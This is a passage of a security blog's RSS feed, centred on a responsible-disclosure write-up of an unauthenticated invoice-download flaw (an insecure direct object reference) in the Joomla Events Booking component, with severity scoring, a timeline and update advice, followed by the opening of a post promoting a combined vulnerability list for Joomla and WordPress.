&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - the same half-fix in a Joomla file storage extension, where the ownership check that was added went into a method nothing calls.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>pagebuilder-ck</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/pagebuilderck-file-upload-rce-incomplete-fix.BS18XG1W.png" length="0" type="image/png"/></item><item><title>Events Booking for Joomla exposes personal and financial data from invoices</title><link>https://mysites.guru/blog/events-booking-invoice-idor/</link><guid isPermaLink="true">https://mysites.guru/blog/events-booking-invoice-idor/</guid><description>An unauthenticated flaw in Events Booking for Joomla let anyone download any registrant&apos;s invoice, with their name, address, email and payment. Fixed in 5.8.2.</description><pubDate>Tue, 21 Jul 2026 19:36:45 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking&lt;/a&gt; is one of the most widely used event registration and ticketing components for Joomla. It runs conference sign-ups, class bookings and ticket sales, so the records it holds belong to real attendees who handed over their details, and often their money, to book something. During security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru found an unauthenticated flaw in Events Booking that let anyone download any registrant&apos;s invoice&lt;/strong&gt;, reported it privately to JoomDonation, and it is now fixed in &lt;strong&gt;Events Booking 5.8.2&lt;/strong&gt;. It is the third issue we have found and reported in this one component this month.&lt;/p&gt;
&lt;p&gt;This one came straight on the heels of the last round. We had only just finished reporting the &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;anonymous file upload and user-enumeration flaws&lt;/a&gt;. We got the 5.8.1 source the way we get a lot of things: a mySites.guru subscriber sent it over. Reading that code is exactly how this invoice flaw surfaced, which is worth sitting with for a moment. The release we could not get handed to us to check turned out to contain a fresh unauthenticated hole of its own.&lt;/p&gt;
&lt;p&gt;An invoice is not a small thing to leak. It carries the attendee&apos;s full name, their organisation, their postal address, their email address and the amount they paid. The front-end page that generates that invoice as a PDF decided what to hand over from the registration ID number in the web address, and it never properly checked that the person asking was entitled to it. So a stranger with no account could pull up any registration&apos;s invoice by changing the ID number, then count up through the numbers to collect the lot.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this issue and reported it privately to JoomDonation, who fixed it in Events Booking 5.8.2. As with every flaw we find, we withheld the exact request and any proof-of-concept and waited for a fix before publishing. Update to 5.8.2. It is tracked as CVE-2026-63047, assigned via the Joomla CNA. This is how we handle every vulnerability we find: report first, publish second, and never ship a recipe.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anyone could download any registrant&apos;s invoice.&lt;/strong&gt; The front-end invoice download handed over a registration&apos;s invoice PDF based on the ID number in the web address, without properly checking that the requester owned it. No login, no account, no special access&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Each invoice is a full billing identity.&lt;/strong&gt; Name, organisation, postal address, email address and payment amount, for every registration that had an invoice&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Count up through the IDs and you had the lot.&lt;/strong&gt; There was nothing to stop a short script walking the ID range and collecting every invoice on the site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A separate, third issue.&lt;/strong&gt; This is distinct from the anonymous upload and user-enumeration flaws we reported earlier this month, which were fixed in 5.8.0 and 5.8.1. &lt;strong&gt;This one is fixed in 5.8.2&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you already updated for the earlier flaws, update again.&lt;/strong&gt; Those releases did not touch the invoice flaw, so a site on 5.8.1 is still exposed until it reaches 5.8.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update immediately, turn off invoicing&lt;/strong&gt; as an interim measure. A firewall has nothing to block here, because there is no malformed payload, just an ordinary request for a document&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;This was potentially a reportable data breach&lt;/strong&gt; for any site that ran invoicing on an affected version. Invoices are personal data under the UK and EU GDPR, and the exposure is silent&lt;/li&gt;
&lt;li&gt;Found by reviewing the 5.8.1 source, which reached us from a subscriber rather than the vendor. Reported privately on 20 July 2026, &lt;strong&gt;fixed in 5.8.2&lt;/strong&gt;, assigned &lt;strong&gt;CVE-2026-63047&lt;/strong&gt; via the Joomla CNA. No proof-of-concept released&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What the flaw was&lt;/h2&gt;
&lt;p&gt;Events Booking can issue a PDF invoice for a registration. When the invoice feature is switched on, a registrant who has paid gets an invoice, and there is a front-end page that serves it back as a download.&lt;/p&gt;
&lt;p&gt;That page was where the problem sat. It worked out which invoice to return from the numeric registration ID passed in the request, loaded that registration, and generated the PDF. The access check that was supposed to guard it was an authorisation failure: it confirmed that a download code was supplied, but not that the code actually belonged to the registration being requested. A code is meant to be the per-registration secret that proves you own the booking. Here, any value in that slot satisfied the check, while the invoice itself was chosen by the ID number. The two were never compared.&lt;/p&gt;
&lt;p&gt;The result was a classic &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;insecure direct object reference&lt;/a&gt;. The server handed the document to whoever asked, based on a number the caller controlled, and the number was sequential. There was no login check, no CSRF token and, critically, no ownership check. The component&apos;s own pages only ever request the invoice for a booking the visitor actually made, so in normal use it looked harmless. The server never enforced what the browser assumed.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;The whole flaw in one line&lt;/p&gt;
    &lt;p&gt;The invoice download checked that a code was supplied, not that it belonged to the invoice, so the document was handed to anyone who asked for it by ID number.&lt;/p&gt;
    &lt;p&gt;We are withholding the exact request and any working proof-of-concept even though it is fixed. This section is enough to understand the risk and act on it, and not enough to be a recipe against sites that have not updated yet.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We proved it against a clean install of Events Booking 5.8.1 to be sure it was real and not a quirk of one configuration. To keep the lab honest we created a single test registration, retrieved its invoice as an anonymous visitor, confirmed the personal and payment details were all present, and removed the test data afterwards. We did not touch any live site, and there is no site of yours involved in this research.&lt;/p&gt;
&lt;p&gt;For contrast, the sibling invoice-style downloads in the same component, the certificate and the ticket, were not affected. They work out the registration from the code itself rather than trusting a separate ID number, so a wrong code simply resolves to no record. The invoice download was the one place where the ID chose the document and the code was only checked for being present. One inconsistent check is all it takes.&lt;/p&gt;
&lt;h2&gt;Update to 5.8.2&lt;/h2&gt;
&lt;p&gt;Earlier in July we reported two other unauthenticated flaws in Events Booking, an &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;anonymous file upload that was on by default and a leak of every user&apos;s name and email&lt;/a&gt;. Those were fixed across 5.8.0 and 5.8.1. This invoice flaw is separate, and it is fixed in 5.8.2. If you updated to 5.8.1 for the earlier flaws and assumed Events Booking was sorted, this one was still open on your site until 5.8.2, so update again.&lt;/p&gt;
&lt;p&gt;There is one wrinkle worth knowing if you go looking at the files. The 5.8.1 you have is not necessarily the 5.8.1 someone else has. Somewhere between our private report on 20 July and the official 5.8.2 release, JoomDonation backported the same fix into the 5.8.1 package without changing its version number. So for a period the 5.8.1 on the download server was the insecure build we proved the flaw against, and after that the 5.8.1 on the download server carried the fix, both under the one version string. A site reading &quot;5.8.1&quot; in its admin cannot tell you which of the two it installed. Updating to 5.8.2 is what removes the doubt: it is the release where the fix and the version number line up.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Do this now&lt;/p&gt;
    &lt;p&gt;Update Events Booking to 5.8.2 on every site, including any you already took to 5.8.1.&lt;/p&gt;
    &lt;p&gt;Run the update through System, Update, Extensions in each site&apos;s Joomla admin, and confirm the version under Components, Events Booking afterwards. If you cannot update straight away, turn off the invoice feature in the Events Booking configuration as an interim measure and switch it back on once you are on 5.8.2.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;A firewall or .htaccess would not have stopped your invoices being exposed!&lt;/h2&gt;
&lt;p&gt;A word on firewalls, because it is the first question we get. A web application firewall is worth having, but it would not have saved you here. There was no SQL, no script tag, no malformed payload for it to catch. The attacker was asking for a document the site is designed to serve, at a URL that looked completely ordinary, and simply changing one number. Rules that block injection attempts have nothing to match on. The update is the fix, not the firewall.&lt;/p&gt;
&lt;p&gt;An .htaccess file is the other thing people reach for, and it deserves its own mention because so many site owners treat one as a security blanket. It can deny access to a folder or block a file type, which genuinely helps against some attacks, but it had nothing to work with here. The invoice download was an ordinary, permitted request to an ordinary, permitted URL, so there was no forbidden path to deny and no extension to filter. We have written before about &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;why your .htaccess will not stop a Joomla hack&lt;/a&gt;, and this is a clean example. The invoice feature was working exactly as built, just answering the wrong person, and a directory rule cannot see that.&lt;/p&gt;
&lt;h2&gt;Knowing which of your sites need it&lt;/h2&gt;
&lt;p&gt;The awkward part of a security release is that &quot;we updated Events Booking&quot; is not the same as &quot;every site is on 5.8.2&quot;. You need to know precisely which sites run Events Booking, which ones are still below 5.8.2, and get to each of them.&lt;/p&gt;
&lt;p&gt;That is the job &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; does. It keeps a live inventory of every extension and version on every Joomla and WordPress site in your account, so you can search for Events Booking once and see every site running it, and the version each is on, in seconds, without opening a single admin panel. We have added this issue to our Joomla vulnerability database, so every connected site below 5.8.2 is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; rolls the update out from one screen. You should not have to read about a Joomla security issue and then audit a portfolio of client sites by hand to find out whether it is your problem, still less do it three times for the same extension in one month.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Booking components leak your customers, not just your site&lt;/h2&gt;
&lt;p&gt;We keep finding this class of bug in the extensions built to talk to strangers, and it is worth being explicit about why booking and registration components carry a heavier consequence than most.&lt;/p&gt;
&lt;p&gt;A page builder flaw leaks your site. A booking component flaw leaks your customers. The whole purpose of the extension is to collect personal details from the public, and take their money, and store both. So the data at risk was never yours in the first place, it was entrusted to you. The same logic runs through the newsletter tools, form builders and document managers where we keep finding the same pattern this month: &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;. They are all built to talk to strangers, so a missing check in one of them talks to strangers too. The recurring shape is an &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX or front-end endpoint that trusts the browser&lt;/a&gt; instead of re-checking on the server.&lt;/p&gt;
&lt;p&gt;None of that is an argument for avoiding Events Booking. It is a capable, long-established component, and much of the code we have reviewed is in better shape than most of what we audit, with the payment verification in particular done properly. Capable software still ships ordinary bugs, and an authorisation check that confirms the wrong thing is about as ordinary as they come. The point is not that the extension is bad. It is that the invoices it holds are your legal responsibility, and one inconsistent check handed them out until 5.8.2 closed it.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Update Events Booking to 5.8.2&lt;/strong&gt; or later on every affected site. This is the fix, and it is the one action that actually closes the invoice flaw&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update even if you already went to 5.8.1.&lt;/strong&gt; That earlier release fixed the &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;anonymous upload and user-enumeration flaws&lt;/a&gt; and not this one, so 5.8.1 is not far enough&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update immediately&lt;/strong&gt;, turn off the invoice feature in the Events Booking configuration as an interim measure, and switch it back on once you are on 5.8.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not rely on a firewall for this one.&lt;/strong&gt; There was no payload to filter, so there was nothing for it to block&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treat past invoices as potentially read.&lt;/strong&gt; If a site ran the invoice feature on a public event while on an affected version, assume the invoices could have been collected, and talk to whoever owns data protection where you work&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you manage multiple sites&lt;/strong&gt;, let mySites.guru show you which ones are still below 5.8.2 rather than checking by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Our own assessment; CVE-2026-63047, fixed in 5.8.2&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated and exploitable over the internet in a single request with no user interaction. It exposed the full billing details of every invoiced registrant, which is a serious loss of confidentiality, but it was a read-only disclosure with no write or availability impact, which is what keeps it out of the critical range.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Fixed in 5.8.2&lt;/span&gt;
        &lt;span&gt;Personal and financial data&lt;/span&gt;
        &lt;span&gt;No firewall mitigation&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Our assessment is &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;, vector &lt;a href=&quot;https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&quot;&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/a&gt;. Reachable over the network (&lt;code&gt;AV:N&lt;/code&gt;) with no added complexity or attack requirements (&lt;code&gt;AC:L&lt;/code&gt;, &lt;code&gt;AT:N&lt;/code&gt;), needing no privileges (&lt;code&gt;PR:N&lt;/code&gt;) and no user interaction (&lt;code&gt;UI:N&lt;/code&gt;). It causes a high loss of confidentiality on the vulnerable system (&lt;code&gt;VC:H&lt;/code&gt;), the full billing details of every invoiced registrant, with no integrity or availability impact (&lt;code&gt;VI:N&lt;/code&gt;, &lt;code&gt;VA:N&lt;/code&gt;) and nothing carried into a downstream system (&lt;code&gt;SC:N&lt;/code&gt;, &lt;code&gt;SI:N&lt;/code&gt;, &lt;code&gt;SA:N&lt;/code&gt;). The read-only nature is what holds it below the critical range. The Joomla CNA published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63047&quot;&gt;CVE-2026-63047&lt;/a&gt; for the flaw on 22 July 2026 without a score of its own, so this assessment stands.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63047&quot;&gt;CVE-2026-63047&lt;/a&gt;, assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt; on 22 July 2026, crediting Phil Taylor of mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Events Booking for Joomla (&lt;code&gt;com_eventbooking&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Authorisation bypass through a user-controlled key (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639&lt;/a&gt;), an &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;insecure direct object reference&lt;/a&gt;; the CVE record files it under the parent class &lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read of any registrant&apos;s invoice, including full name, organisation, postal address, email address and payment amount&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Every release up to and including 5.8.1 with the invoice feature in use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;5.8.2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We follow a report-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;A mySites.guru subscriber sends over the Events Booking 5.8.1 source. Reviewing it, mySites.guru identifies and confirms a separate authorisation flaw in the invoice download, proven on a clean install with test data only and no live site involved.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;mySites.guru reports the invoice flaw privately to JoomDonation, with all public detail withheld. JoomDonation confirms it the same day.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21 July 2026&lt;/td&gt;
&lt;td&gt;JoomDonation ships the fix in Events Booking 5.8.2, adding the missing ownership check to the invoice download. mySites.guru confirms a wrong code now resolves to no invoice, and applies for a CVE via the Joomla CNA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21 July 2026&lt;/td&gt;
&lt;td&gt;mySites.guru publishes this write-up. No proof-of-concept is released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22 July 2026&lt;/td&gt;
&lt;td&gt;The Joomla CNA publishes &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63047&quot;&gt;CVE-2026-63047&lt;/a&gt; for the flaw, crediting Phil Taylor of mySites.guru.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;The Events Booking upload and enumeration flaws fixed in 5.8.1&lt;/a&gt; - the two issues that earlier release did close, and the disclosure story behind them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full run this is part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind findings like this.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; and the &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;OWASP IDOR Prevention Cheat Sheet&lt;/a&gt; - the canonical references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html&quot;&gt;OWASP Vulnerability Disclosure Cheat Sheet&lt;/a&gt; and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; - the practice behind the report-first process above.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking product page&lt;/a&gt; - the vendor&apos;s official page, where 5.8.2 is available to download.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - the same missing ownership predicate, this time on every file in a Joomla cloud drive extension.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>events booking</category><category>vulnerability</category><category>responsible disclosure</category><category>gdpr</category><enclosure url="https://mysites.guru/_astro/events-booking-invoice-idor.B6YTP9KJ.png" length="0" type="image/png"/></item><item><title>One VEL for Every Joomla and WordPress Site</title><link>https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/</guid><description>The Joomla VEL (Vulnerable Extension List) only covers Joomla and never checks your sites. mySites.guru tracks Joomla and WordPress extension vulnerabilities and flags yours.</description><pubDate>Tue, 21 Jul 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you run Joomla sites, you might have heard of the &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla VEL (Vulnerable Extension List)&lt;/a&gt;. It is the community-run (well, gated, not-open, keys held by &quot;mandville&quot; who seems to appear and disappear as fast as buses around Brighton) list of third-party Joomla extensions with known, reported vulnerabilities. If you also run WordPress sites, you know it stops at the Joomla border. For that half of your sites you absolutely must be subscribed to &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence&lt;/a&gt; or &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack&lt;/a&gt; for alerts on WordPress plugin security announcements, an entirely separate set of feeds with no connection to the first.&lt;/p&gt;
&lt;p&gt;Keeping on top of security announcements and a handful of vulnerable extension lists, across two different CMS platforms, is a near full-time job on its own. And even when you keep up, both lists share a bigger limitation than the effort of watching them, and it is the one that actually costs people. Neither of them knows which sites you run. They tell you that a piece of software is vulnerable somewhere in the world. They cannot tell you that &lt;em&gt;your&lt;/em&gt; client&apos;s site, the one on the old version of that exact component, is sitting there exposed right now.&lt;/p&gt;
&lt;p&gt;We have built the thing that closes that gap. There is a new &lt;strong&gt;Latest Vulnerabilities&lt;/strong&gt; page inside mySites.guru: one Vulnerable Extension List for Joomla and WordPress together, wired directly into the sites you already manage.&lt;/p&gt;
&lt;p&gt;To be clear, the tracking itself has been running for over a decade. mySites.guru has recorded extension vulnerabilities and vendor security announcements internally that whole time, and used them to flag the sites affected. What is new is the front end: we have exposed all of it so subscribers can browse it, filter it and click into it themselves. Previously this information sat buried in the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Extensions pages&lt;/a&gt; inside mySites.guru. Now it has its own tool.&lt;/p&gt;
&lt;h2&gt;One Vulnerable Extension List for Joomla and WordPress&lt;/h2&gt;
&lt;p&gt;The Latest Vulnerabilities page is a single, searchable list of the extension vulnerabilities we track across both platforms. Filter it to Joomla, filter it to WordPress, or leave it on All and watch the two streams merge, newest first. Each row carries a severity, the affected extension, a CVE where one has been assigned, and the date it was published.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;On the WordPress side, that is tens of thousands of plugin and theme records drawn from the wider vulnerability feeds.[^wordfence] On the Joomla side, it is the extension vulnerabilities we track, including feeds from the &lt;a href=&quot;https://nvd.nist.gov/&quot;&gt;National Vulnerability Database (NVD)&lt;/a&gt; that auto-alert us when a CVE is announced for a Joomla extension. A large share of them are ones &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;we found and disclosed ourselves&lt;/a&gt; through the &lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners/partner/Joomla&quot;&gt;Joomla CNA&lt;/a&gt;: &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt; and more. Every rule carries the affected version range, so a match is version-aware, not just a name that happens to look familiar.&lt;/p&gt;
&lt;p&gt;The severity rating is the first thing the VEL does not give you. A Joomla extension entry here is Critical, High, Medium or Low, so you can filter straight to the things that will ruin your week and leave the low-risk noise for later.&lt;/p&gt;
&lt;h2&gt;Which of your sites does this vulnerability affect?&lt;/h2&gt;
&lt;p&gt;This is the part that changes the job. A vulnerability list is a lookup table until it is connected to your actual sites. mySites.guru already keeps a live inventory of every extension and every version installed on every connected Joomla and WordPress site. The Latest Vulnerabilities page cross-references that inventory against the whole list, automatically.&lt;/p&gt;
&lt;p&gt;So a row is not just &quot;this software is vulnerable.&quot; A row marked with a shield is &quot;you are running this.&quot; Open any entry and the &lt;strong&gt;Check your sites&lt;/strong&gt; button drops you straight into the filtered list of your own affected sites.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is the whole workflow, collapsed into two clicks. A disclosure lands, you look at the list, and instead of asking &quot;do I have anything running that,&quot; you are already looking at the exact sites that do, with a &lt;strong&gt;Manage Site&lt;/strong&gt; button next to each one to update the extension or investigate it. No spreadsheet of installed versions, no checking each site by hand, no wondering whether you have missed one.&lt;/p&gt;
&lt;p&gt;It does not stop at the list, either. Open an affected site and the same vulnerability detail is waiting on its Important tab, flagged next to everything else that needs your attention, with the full write-up rather than a bare extension name.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What each entry tells you&lt;/h2&gt;
&lt;p&gt;Click any row and you get the full picture on one page: the severity, the CVE, the published date, the affected version range, the version it was fixed in, the extension element, and a plain-English description of what the flaw actually is and how bad it gets.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For the ones we found ourselves, that description is written from having reproduced the flaw against a real install, not paraphrased from a one-line changelog. When a vendor ships a fix with three words of explanation, as &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Balbooa did with the Gridbox authentication bypass&lt;/a&gt;, the detail page is where the missing context lives: what the flaw is, whether it needs authentication, and what it hands an attacker.&lt;/p&gt;
&lt;h2&gt;What the Joomla VEL is, and what it leaves out&lt;/h2&gt;
